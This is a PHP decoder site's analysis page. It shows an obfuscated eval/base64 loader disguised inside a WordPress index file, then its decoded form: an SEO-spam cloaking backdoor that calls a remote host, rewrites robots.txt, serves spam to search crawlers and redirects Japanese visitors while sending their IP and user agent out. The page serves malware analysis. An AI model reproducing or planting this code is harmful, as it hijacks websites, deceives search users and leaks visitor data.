Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $f = 'base'; $a = 64; $n = 'decode'; $q = $f.$a."_".$n; eval($q('JGludGVyX2RvbWF..

Decoded Output download

$inter_domain='http://z0421_3.goaide.site'; function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }function getServerCont($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots='googlebot|google|yahoo|bing|aol';if($agent!=''){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots='google.co.jp|yahoo.co.jp|google.com';if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; }return $check_refer; }$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');$req_uri=$_SERVER['REQUEST_URI'];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER['PHP_SELF'];$ser_name=$_SERVER['SERVER_NAME'];$req_url=$http.$domain.$req_uri;$indata1=$inter_domain."/indata.php";$map1=$inter_domain."/map.php";$jump1=$inter_domain."/jump.php";$url_words=$inter_domain."/words.php";$url_robots=$inter_domain."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1['domain']=$domain;$data1['req_uri']=$req_uri;$data1['href']=$href1;$data1['req_url']=$req_url;if(substr($req_uri,-6)=='robots'){$robots_cont = getServerCont($url_robots,$data1);define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);$robots_cont=file_get_contents(BASE_PATH.'/robots.txt');if(strpos(strtolower($robots_cont),"sitemap")){echo 'robots.txt file create success!';}else{echo 'robots.txt file create fail!';}exit;}if(substr($req_uri,-4)=='.xml'){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]='sitemap'; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1='?'; }else{ $tt1='/';}$http2=$href1.$tt1.$str_cont_arr[$k].'.xml';$data_new='https://www.google.com/ping?sitemap='.$http2;$data_new1='http://www.google.com/ping?sitemap='.$http2;if(stristr(@file_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@file_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL; }else{echo $data_new1.'===>Submitting Google Sitemap: fail'.PHP_EOL;} } exit;} if(strpos($req_uri,"allsitemap.xml") || strpos($req_uri,"sitemap-index.xml") || strpos($req_uri,"sitemap-index-1.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1['word']=$word4;$data1['action']='check_sitemap';$check_url4=getServerCont($url_words,$data1);if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} $data1['action']="check_words"; $check1= getServerCont($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=='1') $data1['action']="rand_xml";$check_url4=getServerCont($url_words,$data1);header("Content-type:text/xml");echo $check_url4;exit;}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1['main_shell']=$main_shell;}else{$main_shell=$http.$ser_name;$data1['main_shell']=$main_shell;}$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$chk_refer=check_refer($referer); $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');$res_crawl=is_crawler($user_agent); if(strpos($_SERVER['REQUEST_URI'],'.php')){ $url_ext='?'; }else{ $url_ext='/'; } if($chk_refer && (preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER['REQUEST_URI'])))))){ $data1['ip']=$_SERVER["REMOTE_ADDR"];$data1['referer']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$data1['user_agent']=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); echo getServerCont($jump1,$data1);exit; } if($res_crawl){ $data1['http_user_agent']=$user_agent; echo getServerCont($indata1,$data1);exit;}

Did this file decode correctly?

Original Code

<?php $f = 'base';
$a = 64;
$n = 'decode';
$q = $f.$a."_".$n;
eval($q('JGludGVyX2RvbWFpbj0naHR0cDovL3owNDIxXzMuZ29haWRlLnNpdGUnOyBmdW5jdGlvbiBjdXJsX2dldF9jb250ZW50cygkdXJsKXskY2g9Y3VybF9pbml0KCk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyRmaWxlX2NvbnRlbnRzID0gY3VybF9leGVjKCRjaCk7Y3VybF9jbG9zZSgkY2gpO3JldHVybiAkZmlsZV9jb250ZW50czsgfWZ1bmN0aW9uIGdldFNlcnZlckNvbnQoJHVybCwkZGF0YT1hcnJheSgpKXskdXJsPXN0cl9yZXBsYWNlKCcgJywnKycsJHVybCk7JGNoPWN1cmxfaW5pdCgpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VSTCwiJHVybCIpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0hFQURFUiwwKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9USU1FT1VULDEwKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NULDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgRkFMU0UpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NURklFTERTLGh0dHBfYnVpbGRfcXVlcnkoJGRhdGEpKTskb3V0cHV0ID0gY3VybF9leGVjKCRjaCk7JGVycm9yQ29kZSA9IGN1cmxfZXJybm8oJGNoKTtjdXJsX2Nsb3NlKCRjaCk7aWYoMCE9PSAkZXJyb3JDb2RlKXsgcmV0dXJuIGZhbHNlO31yZXR1cm4gJG91dHB1dDt9ZnVuY3Rpb24gaXNfY3Jhd2xlcigkYWdlbnQpeyRhZ2VudF9jaGVjaz1mYWxzZTsgJGJvdHM9J2dvb2dsZWJvdHxnb29nbGV8eWFob298YmluZ3xhb2wnO2lmKCRhZ2VudCE9Jycpe2lmKHByZWdfbWF0Y2goIi8oJGJvdHMpL3NpIiwkYWdlbnQpKXskYWdlbnRfY2hlY2sgPSB0cnVlOyB9fXJldHVybiAkYWdlbnRfY2hlY2s7fWZ1bmN0aW9uIGNoZWNrX3JlZmVyKCRyZWZlcil7ICRjaGVja19yZWZlcj1mYWxzZTskcmVmZXJib3RzPSdnb29nbGUuY28uanB8eWFob28uY28uanB8Z29vZ2xlLmNvbSc7aWYoJHJlZmVyIT0nJyAmJiBwcmVnX21hdGNoKCIvKCRyZWZlcmJvdHMpL3NpIiwkcmVmZXIpKXsgJGNoZWNrX3JlZmVyPXRydWU7IH1yZXR1cm4gJGNoZWNrX3JlZmVyOyB9JGh0dHA9KChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkmJiRfU0VSVkVSWydIVFRQUyddIT09J29mZicpPydodHRwczovLyc6J2h0dHA6Ly8nKTskcmVxX3VyaT0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTskZG9tYWluPSRfU0VSVkVSWyJIVFRQX0hPU1QiXTskc2VsZj0kX1NFUlZFUlsnUEhQX1NFTEYnXTskc2VyX25hbWU9JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107JHJlcV91cmw9JGh0dHAuJGRvbWFpbi4kcmVxX3VyaTskaW5kYXRhMT0kaW50ZXJfZG9tYWluLiIvaW5kYXRhLnBocCI7JG1hcDE9JGludGVyX2RvbWFpbi4iL21hcC5waHAiOyRqdW1wMT0kaW50ZXJfZG9tYWluLiIvanVtcC5waHAiOyR1cmxfd29yZHM9JGludGVyX2RvbWFpbi4iL3dvcmRzLnBocCI7JHVybF9yb2JvdHM9JGludGVyX2RvbWFpbi4iL3JvYm90cy5waHAiO2lmKHN0cnBvcygkcmVxX3VyaSwiLnBocCIpKXskaHJlZjE9JGh0dHAuJGRvbWFpbi4kc2VsZjt9ZWxzZXskaHJlZjE9JGh0dHAuJGRvbWFpbjt9JGRhdGExW109YXJyYXkoKTskZGF0YTFbJ2RvbWFpbiddPSRkb21haW47JGRhdGExWydyZXFfdXJpJ109JHJlcV91cmk7JGRhdGExWydocmVmJ109JGhyZWYxOyRkYXRhMVsncmVxX3VybCddPSRyZXFfdXJsO2lmKHN1YnN0cigkcmVxX3VyaSwtNik9PSdyb2JvdHMnKXskcm9ib3RzX2NvbnQgPSBnZXRTZXJ2ZXJDb250KCR1cmxfcm9ib3RzLCRkYXRhMSk7ZGVmaW5lKCdCQVNFX1BBVEgnLHN0cl9pcmVwbGFjZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSwnJyxfX0ZJTEVfXykpO2ZpbGVfcHV0X2NvbnRlbnRzKEJBU0VfUEFUSC4nL3JvYm90cy50eHQnLCRyb2JvdHNfY29udCk7JHJvYm90c19jb250PWZpbGVfZ2V0X2NvbnRlbnRzKEJBU0VfUEFUSC4nL3JvYm90cy50eHQnKTtpZihzdHJwb3Moc3RydG9sb3dlcigkcm9ib3RzX2NvbnQpLCJzaXRlbWFwIikpe2VjaG8gJ3JvYm90cy50eHQgZmlsZSBjcmVhdGUgc3VjY2VzcyEnO31lbHNle2VjaG8gJ3JvYm90cy50eHQgZmlsZSBjcmVhdGUgZmFpbCEnO31leGl0O31pZihzdWJzdHIoJHJlcV91cmksLTQpPT0nLnhtbCcpe2lmKHN0cnBvcygkcmVxX3VyaSwicGluZ3NpdGVtYXAueG1sIikpeyAkc3RyX2NvbnQgPSBnZXRTZXJ2ZXJDb250KCRtYXAxLCRkYXRhMSk7ICRzdHJfY29udF9hcnI9IGV4cGxvZGUoIiwiLCRzdHJfY29udCk7ICRzdHJfY29udF9hcnJbXT0nc2l0ZW1hcCc7IGZvcigkaz0wOyRrPGNvdW50KCRzdHJfY29udF9hcnIpOyRrKyspeyBpZihzdHJwb3MoJGhyZWYxLCIucGhwIik+IDApeyAkdHQxPSc/JzsgfWVsc2V7ICR0dDE9Jy8nO30kaHR0cDI9JGhyZWYxLiR0dDEuJHN0cl9jb250X2Fyclska10uJy54bWwnOyRkYXRhX25ldz0naHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS9waW5nP3NpdGVtYXA9Jy4kaHR0cDI7JGRhdGFfbmV3MT0naHR0cDovL3d3dy5nb29nbGUuY29tL3Bpbmc/c2l0ZW1hcD0nLiRodHRwMjtpZihzdHJpc3RyKEBmaWxlX2dldF9jb250ZW50cygkZGF0YV9uZXcpLCdzdWNjZXNzZnVsbHknKSl7ZWNobyAkZGF0YV9uZXcuJz09PT5TdWJtaXR0aW5nIEdvb2dsZSBTaXRlbWFwOiBPSycuUEhQX0VPTDt9ZWxzZSBpZihzdHJpc3RyKEBjdXJsX2dldF9jb250ZW50cygkZGF0YV9uZXcpLCdzdWNjZXNzZnVsbHknKSl7ZWNobyAkZGF0YV9uZXcuJz09PT5TdWJtaXR0aW5nIEdvb2dsZSBTaXRlbWFwOiBPSycuUEhQX0VPTDt9ZWxzZSBpZihzdHJpc3RyKEBmaWxlX2dldF9jb250ZW50cygkZGF0YV9uZXcxKSwnc3VjY2Vzc2Z1bGx5Jykpe2VjaG8gJGRhdGFfbmV3MS4nPT09PlN1Ym1pdHRpbmcgR29vZ2xlIFNpdGVtYXA6IE9LJy5QSFBfRU9MO31lbHNlIGlmKHN0cmlzdHIoQGN1cmxfZ2V0X2NvbnRlbnRzKCRkYXRhX25ldzEpLCdzdWNjZXNzZnVsbHknKSl7ZWNobyAkZGF0YV9uZXcxLic9PT0+U3VibWl0dGluZyBHb29nbGUgU2l0ZW1hcDogT0snLlBIUF9FT0w7IH1lbHNle2VjaG8gJGRhdGFfbmV3MS4nPT09PlN1Ym1pdHRpbmcgR29vZ2xlIFNpdGVtYXA6IGZhaWwnLlBIUF9FT0w7fSB9IGV4aXQ7fSBpZihzdHJwb3MoJHJlcV91cmksImFsbHNpdGVtYXAueG1sIikgfHwgc3RycG9zKCRyZXFfdXJpLCJzaXRlbWFwLWluZGV4LnhtbCIpIHx8IHN0cnBvcygkcmVxX3VyaSwic2l0ZW1hcC1pbmRleC0xLnhtbCIpKXsgJHN0cl9jb250ID0gZ2V0U2VydmVyQ29udCgkbWFwMSwkZGF0YTEpOyBoZWFkZXIoIkNvbnRlbnQtdHlwZTp0ZXh0L3htbCIpOyBlY2hvICRzdHJfY29udDtleGl0O30gaWYoc3RycG9zKCRyZXFfdXJpLCIucGhwIikpeyAkd29yZDQ9ZXhwbG9kZSgiPyIsJHJlcV91cmkpOyAkd29yZDQ9JHdvcmQ0W2NvdW50KCR3b3JkNCktMV07ICR3b3JkND1zdHJfcmVwbGFjZSgiLnhtbCIsIiIsJHdvcmQ0KTsgfWVsc2V7ICR3b3JkND0gc3RyX3JlcGxhY2UoIi8iLCIiLCRyZXFfdXJpKTskd29yZDQ9IHN0cl9yZXBsYWNlKCIueG1sIiwiIiwkd29yZDQpOyB9JGRhdGExWyd3b3JkJ109JHdvcmQ0OyRkYXRhMVsnYWN0aW9uJ109J2NoZWNrX3NpdGVtYXAnOyRjaGVja191cmw0PWdldFNlcnZlckNvbnQoJHVybF93b3JkcywkZGF0YTEpO2lmKCRjaGVja191cmw0PT0nMScpeyAkc3RyX2NvbnQ9Z2V0U2VydmVyQ29udCgkbWFwMSwkZGF0YTEpOyBoZWFkZXIoIkNvbnRlbnQtdHlwZTp0ZXh0L3htbCIpOyBlY2hvICRzdHJfY29udDtleGl0O30gJGRhdGExWydhY3Rpb24nXT0iY2hlY2tfd29yZHMiOyAkY2hlY2sxPSBnZXRTZXJ2ZXJDb250KCR1cmxfd29yZHMsJGRhdGExKTtpZihzdHJwb3MoJHJlcV91cmksIm1hcCIpPiAwIHx8ICRjaGVjazE9PScxJykgJGRhdGExWydhY3Rpb24nXT0icmFuZF94bWwiOyRjaGVja191cmw0PWdldFNlcnZlckNvbnQoJHVybF93b3JkcywkZGF0YTEpO2hlYWRlcigiQ29udGVudC10eXBlOnRleHQveG1sIik7ZWNobyAkY2hlY2tfdXJsNDtleGl0O31pZihzdHJwb3MoJHJlcV91cmksIi5waHAiKSl7JG1haW5fc2hlbGw9JGh0dHAuJHNlcl9uYW1lLiRzZWxmOyRkYXRhMVsnbWFpbl9zaGVsbCddPSRtYWluX3NoZWxsO31lbHNleyRtYWluX3NoZWxsPSRodHRwLiRzZXJfbmFtZTskZGF0YTFbJ21haW5fc2hlbGwnXT0kbWFpbl9zaGVsbDt9JHJlZmVyZXI9aXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKT8kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ106Jyc7JGNoa19yZWZlcj1jaGVja19yZWZlcigkcmVmZXJlcik7ICR1c2VyX2FnZW50PXN0cnRvbG93ZXIoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKT8kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ106JycpOyRyZXNfY3Jhd2w9aXNfY3Jhd2xlcigkdXNlcl9hZ2VudCk7IGlmKHN0cnBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwnLnBocCcpKXsgJHVybF9leHQ9Jz8nOyB9ZWxzZXsgJHVybF9leHQ9Jy8nOyB9IGlmKCRjaGtfcmVmZXIgJiYgKHByZWdfbWF0Y2goJy9qYS9pJyxAJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIHx8IHByZWdfbWF0Y2goJy9qYS9pJyxAJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pIHx8IHByZWdfbWF0Y2goIi9eW2EtejAtOV0rWzAtOV0rJC8iLGVuZChleHBsb2RlKCR1cmxfZXh0LHN0cl9yZXBsYWNlKGFycmF5KCIuaHRtbCIsIi5odG0iKSwiIiwkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkpKSkpKXsgJGRhdGExWydpcCddPSRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyRkYXRhMVsncmVmZXJlciddPWlzc2V0KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk/JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOicnOyRkYXRhMVsndXNlcl9hZ2VudCddPXN0cnRvbG93ZXIoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKT8kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ106JycpOyBlY2hvIGdldFNlcnZlckNvbnQoJGp1bXAxLCRkYXRhMSk7ZXhpdDsgfSBpZigkcmVzX2NyYXdsKXsgJGRhdGExWydodHRwX3VzZXJfYWdlbnQnXT0kdXNlcl9hZ2VudDsgZWNobyBnZXRTZXJ2ZXJDb250KCRpbmRhdGExLCRkYXRhMSk7ZXhpdDt9')); 
define( 'WP_USE_THEMES', true );
?>

Function Calls

define 1
base64_decode 1

Variables

$a 64
$f base
$n decode
$q base64_decode

Stats

MD5 8bed0d06e637c560f2542917b0eed0f1
Eval Count 1
Decode Time 65 ms